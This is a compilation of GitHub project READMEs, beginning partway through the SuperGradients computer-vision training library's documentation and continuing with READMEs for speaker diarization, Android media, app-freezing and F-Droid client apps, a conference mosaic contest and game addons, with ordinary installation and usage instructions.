# Load model with pretrained weights
from super_gradients.training import models
from super_gradients.common.object_names import Models

model = models.get(Models.YOLO_NAS_M, pretrained_weights="coco")

# Prepare model for conversion
# Input size is in format of [Batch x Channels x Width x Height] where 640 is the standard COCO dataset dimensions
model.eval()
model.prep_model_for_conversion(input_size=[1, 3, 640, 640])
    
# Create dummy_input

# Convert model to onnx
torch.onnx.export(model, dummy_input,  "yolo_nas_m.onnx")

More information on how to take your model to production can be found in Getting Started notebooks

Quick Installation

pip install super-gradients

What's New

Version 3.1.3 (July 19, 2023)

Pose Estimation Task Support - Check out fine-tuning notebook example
Pre-trained modified DEKR model for pose estimation (TensorRT-compatible)
Support for Python 3.10
Support for torch.compile
Other bugfixes & minor improvements. Check out release notes

30th of May

Quantization Aware Training YoloNAS on Custom Dataset

Version 3.1.1 (May 3rd)

YOLO-NAS
New predict function (predict on any image, video, url, path, stream)
RoboFlow100 datasets integration
A new Documentation Hub
Integration with DagsHub for experiment monitoring
Support Darknet/Yolo format detection dataset (used by Yolo v5, v6, v7, v8)
Segformer model and recipe
Post Training Quantization and Quantization Aware Training - notebooks

Check out SG full release notes.

Coming soon

Pre-trained pose estimation model
Test Time Augmentations (TTA)
Recipe to train DEKR model(convertable to TRT)
Key-points Rescoring for Pose estimation
LR finder
Data analysis tools

Table of Content

Getting Started

Start Training with Just 1 Command Line

The most simple and straightforward way to start training SOTA performance models with SuperGradients reproducible recipes. Just define your dataset path and where you want your checkpoints to be saved and you are good to go from your terminal!

Just make sure that you setup your dataset according to the data dir specified in the recipe.

python -m super_gradients.train_from_recipe --config-name=imagenet_regnetY architecture=regnetY800 dataset_interface.data_dir=<YOUR_Imagenet_LOCAL_PATH> ckpt_root_dir=<CHEKPOINT_DIRECTORY>

Quickly Load Pre-Trained Weights for Your Desired Model with SOTA Performance

Want to try our pre-trained models on your machine? Import SuperGradients, initialize your Trainer, and load your desired architecture and pre-trained weights from our SOTA model zoo

# The pretrained_weights argument will load a pre-trained architecture on the provided dataset
    
import super_gradients

model = models.get("model-name", pretrained_weights="pretrained-model-name")

Classification

Transfer Learning

Classification Transfer Learning

GitHub source

Semantic Segmentation

Pose Estimation

Transfer Learning

Pose Estimation Transfer Learning

Object Detection

Transfer Learning

Detection Transfer Learning

How to Connect Custom Dataset

Detection How to Connect Custom Dataset

How to Predict Using Pre-trained Model

Segmentation, Detection and Classification Prediction

How to Predict Using Pre-trained Model

Advanced Features

Post Training Quantization and Quantization Aware Training

Quantization involves representing weights and biases in lower precision, resulting in reduced memory and computational requirements, making it useful for deploying models on devices with limited resources. The process can be done during training, called Quantization aware training, or after training, called post-training quantization. A full tutorial can be found here.

Post Training Quantization and Quantization Aware Training

Quantization Aware Training YoloNAS on Custom Dataset

This tutorial provides a comprehensive guide on how to fine-tune a YoloNAS model using a custom dataset. It also demonstrates how to utilize SG's QAT (Quantization-Aware Training) support. Additionally, it offers step-by-step instructions on deploying the model and performing benchmarking.

Quantization Aware Training YoloNAS on Custom Dataset

Knowledge Distillation Training

Knowledge Distillation is a training technique that uses a large model, teacher model, to improve the performance of a smaller model, the student model. Learn more about SuperGradients knowledge distillation training with our pre-trained BEiT base teacher model and Resnet18 student model on CIFAR10 example notebook on Google Colab for an easy to use tutorial using free GPU hardware

Knowledge Distillation Training

Recipes

To train a model, it is necessary to configure 4 main components. These components are aggregated into a single "main" recipe .yaml file that inherits the aforementioned dataset, architecture, raining and checkpoint params. It is also possible (and recomended for flexibility) to override default settings with custom ones. All recipes can be found here
Recipes support out of the box every model, metric or loss that is implemented in SuperGradients, but you can easily extend this to any custom object that you need by "registering it". Check out this tutorial for more information.

How to Use Recipes

Using Distributed Data Parallel (DDP)

Why use DDP ?

Recent Deep Learning models are growing larger and larger to an extent that training on a single GPU can take weeks. In order to train models in a timely fashion, it is necessary to train them with multiple GPUs. Using 100s GPUs can reduce training time of a model from a week to less than an hour.

How does it work ?

Each GPU has its own process, which controls a copy of the model and which loads its own mini-batch from disk and sends it to its GPU during training. After the forward pass is completed on every GPU, the gradient is reduced across all GPUs, yielding to all the GPUs having the same gradient locally. This leads to the model weights to stay synchronized across all GPUs after the backward pass.

How to use it ?

You can use SuperGradients to train your model with DDP in just a few lines.

main.py

from super_gradients import init_trainer, Trainer
from super_gradients.common import MultiGPUMode
from super_gradients.training.utils.distributed_training_utils import setup_device

# Initialize the environment
init_trainer()

# Launch DDP on 4 GPUs'
setup_device(multi_gpu=MultiGPUMode.DISTRIBUTED_DATA_PARALLEL, num_gpus=4)

# Call the trainer
Trainer(expriment_name=...)

# Everything you do below will run on 4 gpus

...

Trainer.train(...)

Finally, you can launch your distributed training with a simple python call.

python main.py

Please note that if you work with torch<1.9.0 (deprecated), you will have to launch your training with either torch.distributed.launch or torchrun, in which case nproc_per_node will overwrite the value set with gpu_mode:

python -m torch.distributed.launch --nproc_per_node=4 main.py

torchrun --nproc_per_node=4 main.py

Calling functions on a single node

It is often in DDP training that we want to execute code on the master rank (i.e rank 0). In SG, users usually execute their own code by triggering "Phase Callbacks" (see "Using phase callbacks" section below). One can make sure the desired code will only be ran on rank 0, using ddp_silent_mode or the multi_process_safe decorator. For example, consider the simple phase callback below, that uploads the first 3 images of every batch during training to the Tensorboard:

from super_gradients.training.utils.callbacks import PhaseCallback, PhaseContext, Phase
from super_gradients.common.environment.env_helpers import multi_process_safe

class Upload3TrainImagesCalbback(PhaseCallback):
    def __init__(
        self,
    ):
        super().__init__(phase=Phase.TRAIN_BATCH_END)
    
    @multi_process_safe
    def __call__(self, context: PhaseContext):
        batch_imgs = context.inputs.cpu().detach().numpy()
        tag = "batch_" + str(context.batch_idx) + "_images"
        context.sg_logger.add_images(tag=tag, images=batch_imgs[: 3], global_step=context.epoch)

The @multi_process_safe decorator ensures that the callback will only be triggered by rank 0. Alternatively, this can also be done by the SG trainer boolean attribute (which the phase context has access to), ddp_silent_mode, which is set to False iff the current process rank is zero (even after the process group has been killed):

from super_gradients.training.utils.callbacks import PhaseCallback, PhaseContext, Phase

class Upload3TrainImagesCalbback(PhaseCallback):
    def __init__(
        self,
    ):
        super().__init__(phase=Phase.TRAIN_BATCH_END)

    def __call__(self, context: PhaseContext):
        if not context.ddp_silent_mode:
            batch_imgs = context.inputs.cpu().detach().numpy()
            tag = "batch_" + str(context.batch_idx) + "_images"
            context.sg_logger.add_images(tag=tag, images=batch_imgs[: 3], global_step=context.epoch)

Note that ddp_silent_mode can be accessed through SgTrainer.ddp_silent_mode. Hence, it can be used in scripts after calling SgTrainer.train() when some part of it should be ran on rank 0 only.

Good to know

Your total batch size will be (number of gpus x batch size), so you might want to increase your learning rate. There is no clear rule, but a rule of thumb seems to be to linearly increase the learning rate with the number of gpus

Easily change architectures parameters

from super_gradients.training import models

# instantiate default pretrained resnet18
default_resnet18 = models.get(model_name="resnet18", num_classes=100, pretrained_weights="imagenet")

# instantiate pretrained resnet18, turning DropPath on with probability 0.5
droppath_resnet18 = models.get(model_name="resnet18", arch_params={"droppath_prob": 0.5}, num_classes=100, pretrained_weights="imagenet")

# instantiate pretrained resnet18, without classifier head. Output will be from the last stage before global pooling
backbone_resnet18 = models.get(model_name="resnet18", arch_params={"backbone_mode": True}, pretrained_weights="imagenet")

Using phase callbacks

from super_gradients import Trainer
from torch.optim.lr_scheduler import ReduceLROnPlateau
from super_gradients.training.utils.callbacks import Phase, LRSchedulerCallback
from super_gradients.training.metrics.classification_metrics import Accuracy

# define PyTorch train and validation loaders and optimizer

# define what to be called in the callback
rop_lr_scheduler = ReduceLROnPlateau(optimizer, mode="max", patience=10, verbose=True)

# define phase callbacks, they will fire as defined in Phase
phase_callbacks = [LRSchedulerCallback(scheduler=rop_lr_scheduler,
                                       phase=Phase.VALIDATION_EPOCH_END,
                                       metric_name="Accuracy")]

# create a trainer object, look the declaration for more parameters
trainer = Trainer("experiment_name")

# define phase_callbacks as part of the training parameters
train_params = {"phase_callbacks": phase_callbacks}

Integration to DagsHub

from super_gradients import Trainer

trainer = Trainer("experiment_name")
model = ...

training_params = { ...  # Your training params
                   "sg_logger": "dagshub_sg_logger",  # DagsHub Logger, see class super_gradients.common.sg_loggers.dagshub_sg_logger.DagsHubSGLogger for details
                   "sg_logger_params":  # Params that will be passes to __init__ of the logger super_gradients.common.sg_loggers.dagshub_sg_logger.DagsHubSGLogger
                     {
                       "dagshub_repository": "<REPO_OWNER>/<REPO_NAME>", # Optional: Your DagsHub project name, consisting of the owner name, followed by '/', and the repo name. If this is left empty, you'll be prompted in your run to fill it in manually.
                       "log_mlflow_only": False, # Optional: Change to true to bypass logging to DVC, and log all artifacts only to MLflow  
                       "save_checkpoints_remote": True,
                       "save_tensorboard_remote": True,
                       "save_logs_remote": True,
                     }
                   }

Integration to Weights and Biases

from super_gradients import Trainer

# create a trainer object, look the declaration for more parameters
trainer = Trainer("experiment_name")

train_params = { ... # training parameters
                "sg_logger": "wandb_sg_logger", # Weights&Biases Logger, see class WandBSGLogger for details
                "sg_logger_params": # paramenters that will be passes to __init__ of the logger 
                  {
                    "project_name": "project_name", # W&B project name
                    "save_checkpoints_remote": True
                    "save_tensorboard_remote": True
                    "save_logs_remote": True
                  } 
               }

Integration to ClearML

from super_gradients import Trainer

# create a trainer object, look the declaration for more parameters
trainer = Trainer("experiment_name")

train_params = { ... # training parameters
                "sg_logger": "clearml_sg_logger", # ClearML Logger, see class ClearMLSGLogger for details
                "sg_logger_params": # paramenters that will be passes to __init__ of the logger 
                  {
                    "project_name": "project_name", # ClearML project name
                    "save_checkpoints_remote": True,
                    "save_tensorboard_remote": True,
                    "save_logs_remote": True,
                  } 
               }

Installation Methods

Prerequisites

General requirements

Python 3.7, 3.8 or 3.9 installed.
1.9.0 <= torch < 1.14
- https://pytorch.org/get-started/locally/
The python packages that are specified in requirements.txt;

To train on nvidia GPUs

Nvidia CUDA Toolkit >= 11.2
CuDNN >= 8.1.x
Nvidia Driver with CUDA >= 11.2 support (≥460.x)

Quick Installation

Install stable version using PyPi

See in PyPi

pip install super-gradients

That's it !

Install using GitHub

pip install git+https://github.com/Deci-AI/super-gradients.git@stable

Implemented Model Architectures

All Computer Vision Models - Pretrained Checkpoints can be found in the Model Zoo

Image Classification

Semantic Segmentation

Object Detection

Pose Estimation

DEKR-W32-NO-DC

Implemented Datasets

Deci provides implementation for various datasets. If you need to download any of the dataset, you can find instructions.

Image Classification

Semantic Segmentation

Object Detection

Pose Estimation

COCO

Documentation

Check SuperGradients Docs for full documentation, user guide, and examples.

Contributing

To learn about making a contribution to SuperGradients, please see our Contribution page.

Our awesome contributors:

Made with contrib.rocks.

Citation

If you are using SuperGradients library or benchmarks in your research, please cite SuperGradients deep learning training library.

Community

If you want to be a part of SuperGradients growing community, hear about all the exciting news and updates, need help, request for advanced features, or want to file a bug or issue report, we would love to welcome you aboard!

Discord is the place to be and ask questions about SuperGradients and get support. Click here to join our Discord Community
To report a bug, file an issue on GitHub.
Join the SG Newsletter for staying up to date with new features and models, important announcements, and upcoming events.
For a short meeting with us, use this link and choose your preferred time.

License

This project is released under the Apache 2.0 license.

Citing

BibTeX


@misc{supergradients,
  doi = {10.5281/ZENODO.7789328},
  url = {https://zenodo.org/record/7789328},
  author = {Aharon,  Shay and {Louis-Dupont} and {Ofri Masad} and Yurkova,  Kate and {Lotem Fridman} and {Lkdci} and Khvedchenya,  Eugene and Rubin,  Ran and Bagrov,  Natan and Tymchenko,  Borys and Keren,  Tomer and Zhilko,  Alexander and {Eran-Deci}},
  title = {Super-Gradients},
  publisher = {GitHub},
  journal = {GitHub repository},
  year = {2021},
}

Latest DOI

Deci Platform

Deci Platform is our end to end platform for building, optimizing and deploying deep learning models to production.

Request free trial to enjoy immediate improvement in throughput, latency, memory footprint and model size.

Features

Automatically compile and quantize your models with just a few clicks (TensorRT, OpenVINO).
Gain up to 10X improvement in throughput, latency, memory and model size.
Easily benchmark your models’ performance on different hardware and batch sizes.
Invite co-workers to collaborate on models and communicate your progress.
Deci supports all common frameworks and Hardware, from Intel CPUs to Nvidia's GPUs and Jetsons. ֿ

Request free trial here

MahmoudAshraf97/whisper-diarization

2023-10-29T01:55:30Z

Automatic Speech Recognition with Speaker Diarization based on OpenAI Whisper

Speaker Diarization Using OpenAI Whisper

Speaker Diarization pipeline based on OpenAI Whisper I'd like to thank @m-bain for Wav2Vec2 forced alignment, @mu4farooqi for punctuation realignment algorithm

Please, star the project on github (see top-right corner) if you appreciate my contribution to the community!

What is it

This repository combines Whisper ASR capabilities with Voice Activity Detection (VAD) and Speaker Embedding to identify the speaker for each sentence in the transcription generated by Whisper. First, the vocals are extracted from the audio to increase the speaker embedding accuracy, then the transcription is generated using Whisper, then the timestamps are corrected and aligned using WhisperX to help minimize diarization error due to time shift. The audio is then passed into MarbleNet for VAD and segmentation to exclude silences, TitaNet is then used to extract speaker embeddings to identify the speaker for each segment, the result is then associated with the timestamps generated by WhisperX to detect the speaker for each word based on timestamps and then realigned using punctuation models to compensate for minor time shifts.

Whisper, WhisperX and NeMo parameters are coded into diarize.py and helpers.py, I will add the CLI arguments to change them later

Installation

FFMPEG and Cython are needed as prerquisites to install the requirements

pip install cython

sudo apt update && sudo apt install cython3

# on Ubuntu or Debian
sudo apt update && sudo apt install ffmpeg

# on Arch Linux
sudo pacman -S ffmpeg

# on MacOS using Homebrew (https://brew.sh/)
brew install ffmpeg

# on Windows using Chocolatey (https://chocolatey.org/)
choco install ffmpeg

# on Windows using Scoop (https://scoop.sh/)
scoop install ffmpeg

pip install -r requirements.txt

Usage

python diarize.py -a AUDIO_FILE_NAME

If your system has enough VRAM (>=10GB), you can use diarize_parallel.py instead, the difference is that it runs NeMo in parallel with Whisper, this can be benifecial in some cases and the result is the same since the two models are nondependent on each other. This is still experimental, so expect errors and sharp edges. Your feedback is welcome.

Command Line Options

-a AUDIO_FILE_NAME: The name of the audio file to be processed
--no-stem: Disables source separation
--whisper-model: The model to be used for ASR, default is medium.en
--suppress_numerals: Transcribes numbers in their pronounced letters instead of digits, improves alignment accuracy

Known Limitations

Overlapping speakers are yet to be addressed, a possible approach would be to separate the audio file and isolate only one speaker, then feed it into the pipeline but this will need much more computation
There might be some errors, please raise an issue if you encounter any.

Future Improvements

Implement a maximum length per sentence for SRT
Improve Batch Processing

Acknowledgements

Special Thanks for @adamjonas for supporting this project This work is based on OpenAI's Whisper , Faster Whisper , Nvidia NeMo , and Facebook's Demucs

futo-org/grayjay-android

2023-10-29T01:35:38Z

Read-only mirror of Grayjay repo for issue tracking

PlatformPlayer

The FUTO media app endeavours creating infrastructure for creators to have their content hosted by someone else but at the same time having creators retain full ownership of their content. We want creators to feel like they are publishing to the world, and we want multiple indexers competing with each other to do a good job connecting consumers to creators and their content.

One part of the solution is to create an application that allows users to search through all available media websites and giving creators the tools for direct monetization of their content by allowing users to directly donate to the content creator.

FUTO is an organization dedicated to developing, both through in-house engineering and investment, technologies that frustrate centralization and industry consolidation.


Video	Video (details)

What does the app do?

The FUTO media app is a player that exposes multiple video websites as sources in the app. These sources can be easily configured and third-party sources can also manually be added. This is done through the sources UI.


Sources (all enabled)	Sources (one disabled)

Additional sources can also be installed. These sources are JavaScript sources, created and maintained by the community.


Install a new source	Configure a source

Once the sources are configured, the combined results will be shown throughout the app. The core features of the app will be highlighted below.

Searching

When a user enters a search term into the search bar, the query is posted to the underlying platforms and a list of results that are ranked by relevance is returned. The search functionality of the app allows users to search multiple sources at once, allowing users to discover a wider range of content that is relevant to their interests.


Search (list)	Search (preview)

Channels

Channels allow users to view the creators content, read more about them or support them by donating, purchasing from their store or buying a membership. The FUTO media app only links to other stores and the app does not play an intermediate role in the actual purchase process. This way, creators can directly monetize their own content in the way they like.

Creators are able to configure their profile using NeoPass.

Channel

Feed

Subscriptions are a way for users to keep up with the latest videos and content from their favorite creators. The creators you are subscribed to are shown in the creators tab. In the future we will add both creator search and suggested creators.

Creators

When you subscribe to a creator, you'll be able to find new videos uploaded by them in the subscriptions tab.


Subscriptions (list)	Subscriptions (preview)

Additionally there is also the "Home" feed which is based purely on recommendations by the underlying platforms. Also here we hope to offer user-picked recommendation engines in the future.

Settings

The app offers a lot of settings customizing how the app looks and feels. An example of this is the background behaviour, do you wish to have it use picture in picture, background play or shut off entirely. Another example configuration option is choosing between list views or video previews.

Settings

Playlists

Playlists allow you to make a collection of videos that you can create and customize to your liking. When you add videos to a playlist, they're grouped together in a single location, making it easy for you to find and watch all of the videos in the playlist in sequence.


Playlists	Playlist

Playlists can also be downloaded in their entirety.

Downloads

Both individual videos and playlists can be downloaded for local, offline playback. You can watch downloaded videos any time, even if you do not have an active internet connection.

Downloads

Casting

The app can also cast to a big screen using any of the supported protocols (FastCast, ChromeCast, AirPlay). Not all casting protocols support all features. As a rule of thumb feature-wise FastCast > ChromeCast > AirPlay.

For more information about casting please click here.

Casting

Commenting and rating

The app can also cast to comment and rate. For more information about this please click here.

Creator Linking

The app can also cast to link channels together. For more information about this please click here.

Migration and recommendations

Sources have the ability to login, allowing you to use features that require credentials like importing your playlists, importing your subscriptions or have personalized recommendations. Some platforms may require a membership to work at all.

In the future we hope to offer users the choice of their desired recommendation engine and have multiple competing recommendation engines for different audiences.

Building

Download a copy of the repository.
Open the project in Android Studio: Once the repository is cloned, you can open it in Android Studio by selecting "Open an Existing Project" from the welcome screen and navigating to the directory where you cloned the repository.
Build the project: With the project open in Android Studio, you can build it by selecting "Build > Make Project" from the main menu. This will compile the code and generate an APK file that you can install on your device or emulator.
Run the project: To run the project, select "Run > Run 'app'" from the main menu. This will launch the app on your device or emulator, allowing you to test it and make any necessary changes.

Contributing

Please see CONTRIBUTION.md.

CI/CD

Tests will always run and are required to pass before a merge request is allowed to be merged. The build/deploy CI/CD steps will only be triggered by a tag on the master branch.

Making a new build

Create a tag on the master branch, incrementing the last version number by 1 (for example 25 to 26).

Click on the CI/CD tab, you should now see the tests and build are in progress. If the build succeeds the last step will become available. The last step is a manual action which can be triggered by clicking the run button on the action. This action will deploy the build to all users using the app through auto-update.

Documentation

The documentation can be found here.

bumble-tech/live-mosaic

2023-10-29T01:35:38Z

Collaborative message board and dynamic image mosaic for #dcldn23

Bumble Tech Live Mosaic

Brought to you by the Android team at Bumble Inc., Live Mosaic is a Compose Multiplatform project featuring a collaborative message board and dynamic image mosaic.

Powered by Appyx

If you like this project, please consider starring the Appyx repo, giving us a shout on social media, or both–we’ll appreciate it! We’re more than happy to chat about our projects if you come to our booth.

More info about Appyx: https://bumble-tech.github.io/appyx/

What is this all about?

Help us complete our image mosaics by adding your entry to our collaborative message board! Every entry automatically adds a tile to the current image mosaic in progress.

What can I win?

Participating earns you a ticket in our raffle to win one of five £250 Amazon vouchers.
Additionally, we have some optional challenges that can earn you one of six £50 Amazon vouchers. These are on a first come, first served basis, and a maximum of one per person.

We’ll announce the winning raffle tickets at our booth and on @bumble_inc at 4pm on Friday, 27th October!

How can I participate?

Get familiar with Entry class and its types:

Text: A simple message
Image: A photo
CustomComposable: get creative!

Create your Entry:

Add it to the list in Entries.kt!
Create a pull request and the Bumble Inc team will review it!
Show us your pull request at the Bumble Inc. booth on your device, and once we merge it, we’ll hand you your raffle ticket.

I don’t have a laptop with me, how can I participate?

Creating a text entry is simple enough that you could easily do it from mobile! See GitHub Mobile.

Alternatively, we’re happy to post your message or photo for you at the booth, provided you can show proof that your GitHub account belongs to you.

What should I post?

Bumble Inc. is all about promoting Kind Connections online and in real life, so think about how you can do this at #dcldn23.

Inspiration for your entries:

Your favourite speaker or session
Your most surprising learning from Droidcon London
Favourite booth / best merch
Take a stroll around the local area and photograph a local landmark/your favourite spot
Shout out someone who enriched your Droidcon London experience
Let us know where you’re visiting from
Spooky halloween sightings 👻

Why not share on socials with #LiveMosaic #dcldn23? Tag @Bumble_Tech on X.

Image entry requirements

If you're adding an image to the entries:

The above content guidelines apply
Should not be larger than 500 KB
Should not be larger than 600 x 400px
Be sure to add it to /shared/commonMain/resources/participant
For the best looks, have it in landscape mode with 3:2 aspect ratio

💻 How can I launch the project on desktop?

Clone the project and open it in Android Studio
Open Edit configurations
Click + in the top left corner, choose Gradle
Type live-mosaic:desktopApp in the Gradle project field
Type run in the input above it
Close the window, now you can launch it from where you usually pick the android app

Tip: After launching the app, look for a faint ⏸ in the top left corner. It turns on/off some manual controls to play with!

Conditions of entry

You must be physically present at the conference for your entry to be merged.
One entry per image mosaic.
One raffle ticket per person.
You can participate in all mosaics with additional entries, but you only get a raffle ticket for the first one.
Please take care not to remove or change someone else’s entry.

All entries will be reviewed by content moderators appointed by Bumble Inc. We reserve the right to refuse a pull request if we feel that the content is inappropriate in any way, or isn’t promoting Kind Connections.

Examples of content that we would refuse may include but are not limited to:

Harsh, provocative language or cursing;
Political views;
Jokes that are at the expense of anyone;
Images that we deem inappropriate.

Terms and conditions

License

Copyright 2023 Bumble.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

Files saved within folders entitled `/shared/commonMain/resources/bumble`
are not subject to the Apache License, Version 2.0 and permission
is not granted for the use of any files within these folders.

Droid-ify/client

2023-10-29T01:55:58Z

F-Droid client with Material UI.

Droid-ify

A quick material F-Droid client.

Features

Material & Clean design
Fast repository syncing
Smooth user experience
Feature-rich

Screenshots

Building and Installing

Install Android Studio:
- Download and install Android Studio on your computer if you haven't already.
Clone the Repository:
- Open Android Studio and select "Project from Version Control."
- Paste the link to this repository to clone it to your local machine.
Build the APK:
- In Android Studio, navigate to Build > APK.
- Select "Create New Keystore" and enter the required information, including a password.
- Wait for the build process to finish.

TODO

Add support for index-v2
Add detekt code-analysis
Add GitHub Repo feature

Contribution

Pick any issue you would like to resolve
Fork the project
Open a Pull Request
Your PR will undergo review

Translations

License

Droid-ify

Copyright (C) 2023 LooKeR
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

aistra0528/Hail

2023-10-29T01:55:58Z

冻结 Android 应用 Freeze Android apps

简体中文 | English

雹 Hail

雹是一款用于冻结 Android 应用的自由软件。GitHub Releases

冻结

冻结freeze是一个营销用语，用于描述使应用在用户不需要时不可运行的行为，以此控制设备使用、减少内存占用和节省电量。用户可在需要时解冻unfreeze应用。

在一般情况下，“冻结”是指停用，此外雹也可以通过隐藏和暂停来“冻结”应用。

停用

被停用disable的应用不会出现在启动器中。在已安装应用列表中会显示已停用disabled状态。启用enable应用即可恢复。

隐藏

被隐藏hide的应用不会出现在启动器和已安装应用列表中。取消隐藏unhide应用即可恢复。

在这种状态下，软件包几乎处于卸载状态，无法使用，但并没有删除数据或实际的软件包文件。

暂停 (Android 7.0+)

被暂停suspend的应用在启动器中会显示为灰度图标。取消暂停unsuspend应用即可恢复。

在这种状态下，应用程序的通知将被隐藏，任何启动活动将被停止，不能弹出提示、对话框或播放音频。当用户试图启动一个暂停的应用程序时，系统将向用户显示一个对话框，告知他们在暂停状态下不能使用这个应用程序。

工作模式

雹支持以设备所有者、Dhizuku、超级用户 (Root) 和Shizuku (含 Sui) 模式工作。

冻结的应用需要通过相同工作模式解冻。

如果您的设备支持无线调试或已 root，推荐选择Shizuku。
如果您的设备已 root，可选择超级用户。此模式速度相对较慢。
如果您的设备不支持无线调试且未 root，可选择设备所有者或Dhizuku。这些模式设置较为繁琐。

设备所有者 - 隐藏 / 暂停

此模式通过将雹设置为设备所有者 (Device Owner)，调用：

DevicePolicyManager.setApplicationHidden方法隐藏应用。
DevicePolicyManager.setPackagesSuspended方法暂停应用。

设置为设备所有者的应用需要移除设备所有者后方可卸载。

通过 adb 将雹设置为设备所有者

Android 调试桥 (adb) 指南

下载 Android SDK 平台工具

通过 adb 发出命令：

adb shell dpm set-device-owner com.aistra.hail/.receiver.DeviceAdminReceiver

设置成功后会输出以下信息：

Success: Device owner set to package com.aistra.hail
Active admin set to component {com.aistra.hail/com.aistra.hail.receiver.DeviceAdminReceiver}

如输出其他信息，请使用搜索引擎自行查阅与解决。

移除雹的设备所有者

设置 > 移除设备所有者

Dhizuku - 隐藏 / 暂停

此模式通过将 Dhizuku 设置为设备所有者 (Device Owner)，调用：

DevicePolicyManager.setApplicationHidden方法隐藏应用。
DevicePolicyManager.setPackagesSuspended方法暂停应用。

超级用户 - 停用 / 隐藏 / 暂停

此模式通过授予雹超级用户 (Superuser) 权限，执行：

pm disable命令停用应用。
pm hide命令隐藏应用。
pm suspend命令暂停应用。

Shizuku - 停用 / 隐藏 / 暂停

此模式通过 Shizuku 调用非 SDK 接口：

IPackageManager.setApplicationEnabledSetting方法停用应用。
IPackageManager.setApplicationHiddenSettingAsUser方法隐藏应用。 (需要 root)
IPackageManager.setPackagesSuspendedAsUser方法暂停应用。

恢复

通过 adb

替换 com.package.name 为目标应用的包名。

# 启用应用
adb shell pm enable com.package.name
# 取消隐藏应用 (需要 root)
adb shell su -c pm unhide com.package.name
# 取消暂停应用
adb shell pm unsuspend com.package.name

修改文件

访问/data/system/users/0/package-restrictions.xml，此文件存储了应用限制相关信息。您可修改、重命名或直接删除此文件。

启用应用：修改enabled属性为 2 (DISABLED) 或 3 (DISABLED_USER) 的值为 1 (ENABLED)
取消隐藏应用：修改hidden属性为 true 的值为 false
取消暂停应用：修改suspended属性为 true 的值为 false

通过恢复模式清除数据 (wipe data)

希望您能谨慎地选择冻结应用，以免陷入此窘境。

API

adb shell am start -a action -e name value

action可为：

com.aistra.hail.action.LAUNCH：解冻并启动目标应用。应用未冻结时会直接启动。name="package" value="com.package.name"
com.aistra.hail.action.FREEZE：冻结目标应用。应用需处于首页。name="package" value="com.package.name"
com.aistra.hail.action.UNFREEZE：解冻目标应用。name="package" value="com.package.name"
com.aistra.hail.action.FREEZE_TAG：冻结目标标签中的全部非白名单应用。name="tag" value="标签名"
com.aistra.hail.action.UNFREEZE_TAG：解冻目标标签中的全部应用。name="tag" value="标签名"
com.aistra.hail.action.FREEZE_ALL：冻结首页全部应用。无需extra。
com.aistra.hail.action.UNFREEZE_ALL：解冻首页全部应用。无需extra。
com.aistra.hail.action.FREEZE_NON_WHITELISTED：冻结首页全部非白名单应用。无需extra。
com.aistra.hail.action.LOCK：锁定屏幕。无需extra。
com.aistra.hail.action.LOCK_FREEZE：冻结首页全部应用并锁定屏幕。无需extra。

协助翻译

要将雹翻译成您的语言，或完善现有的翻译，请使用 Weblate。

许可证

Hail - Freeze Android apps
Copyright (C) 2021-2023 Aistra

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.

fankes/TSBattery

2023-10-29T01:55:58Z

A new way to save your battery avoid cancer apps hacker it.

TSBattery

A new way to save your battery avoid cancer apps hacker it.

TSBattery 是一个旨在使 QQ、TIM、微信变得更省电的开源 Xposed 模块。

For Non-Chinese Users

This Xposed Module is for use by specific apps for users in mainland China, you should not need it.

适配说明

解锁 BootLoader 并安装 KernelSU、Magisk 的设备建议使用 LSPosed
太极 (无极) 支持性不是很好，建议使用 LSPatch
支持一些第三方 Xposed 框架，但是不保证其稳定性
支持一些第三方免 Root 框架例如应用转生、SandVXposed，但是不推荐使用，可能会造成封号风险
如果在微信设置界面右上角你无法找到 TSBattery 的图标，请尝试同时激活 WeXposed (微X模块)

发行渠道

	GitHub CI	CI 自动构建 (测试版)

	Telegram CI 频道	CI 自动构建 (测试版)

	GitHub Releases	正式版 (稳定版)

	Xposed-Modules-Repo	正式版 (稳定版)

	蓝奏云 (密码：tsbt)	正式版 (稳定版)

本模块发布地址仅限于上述所列出的地址，从其他非正规渠道下载到的版本或对您造成任何影响均与我们无关。

请勿用于非法用途

本模块完全开源免费，如果好用你可以打赏支持开发，但是请不要用于非法用途。

项目推广

如果你正在寻找一个可以自动管理 Gradle 项目依赖的 Gradle 插件，你可以了解一下 SweetDependency 项目。

如果你正在寻找一个可以自动生成属性键值的 Gradle 插件，你可以了解一下 SweetProperty 项目。

本项目同样使用了 SweetDependency 和 SweetProperty。

捐赠支持

工作不易，无意外情况此项目将继续维护下去，提供更多可能，欢迎打赏。

Star History

许可证

AGPL-3.0

Copyright (C) 2017-2023 Fankes Studio(qzmmcn@163.com)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.

stujones11/minetest-classes

2023-10-29T01:56:24Z

Player classes for minetest.

McPewPew/Bagnon

2023-10-29T01:36:11Z

Vanilla WoW - Bagnon combines all your bags into one big bag! (see installation instructions below)

Installation

This is a group of addons so just removing the -master isn't enough.
Unzip Bagnon-master.zip to your desktop or another folder,
open that folder and select all the folders inside it,
Cut and paster those into your /interface/addons/ folder.
